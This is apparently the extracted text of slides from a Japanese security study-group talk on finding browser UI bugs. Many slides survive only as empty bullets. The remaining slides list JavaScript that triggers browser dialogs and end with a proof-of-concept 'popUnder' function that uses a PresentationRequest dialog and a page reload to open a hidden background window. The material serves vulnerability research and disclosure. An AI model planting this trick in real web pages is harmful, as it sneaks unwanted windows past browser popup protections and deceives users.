ブラウザのUIのバグを探す / Secusoba PopUnder

第40回セキュそば勉強会(http://secusoba.info/?%E7%AC%AC40%E5%9B%9E%2811%E6%9C%8825%E6%97%A5%29) で発表した資料です。

4. • • •
5. •
6. • •
8. • • newWin = window.open('//example.com/','w','a'); newWin.blur();//新しいウインドウのフォーカスを離す window.focus();//親にフォーカスを移す
9. • •
10. • https://www.youtube.com/channel/UClcE-kVhqyiHCcjYwcpfj9w
16. confirm(1);
17. prompt(1);
18. print();
19. //Basic認証
20. //外部アプリを開くプロトコルへナビゲーション location = "mms:";
21. onbeforeunload=function(e){return 1;} //どこかへ移動しようとするとダイアログ出現
22. new PresentationRequest("").start();
23. new PaymentRequest([{ supportedMethods: ['basic-card'] }], { total: { label: 1, amount: { currency: 'USD', value: 0 } } }).show();
24. navigator.usb.requestDevice({filters:[]});
25. <form> <input type="email" value="a"> <button id="button"> </form> <script> button.click(); </script>
26. • • • • • •
27. <script> function popUnder() { new PresentationRequest("").start(); window.open("https://example.com/", "_blank","a"); setTimeout(function(){ location.reload();//リロードでダイアログを消す },1000); } </script> <button onclick="popUnder()">Create PopUnder</button>
29. • • • • • • •
30. • • • • •
31. • •
32. • • •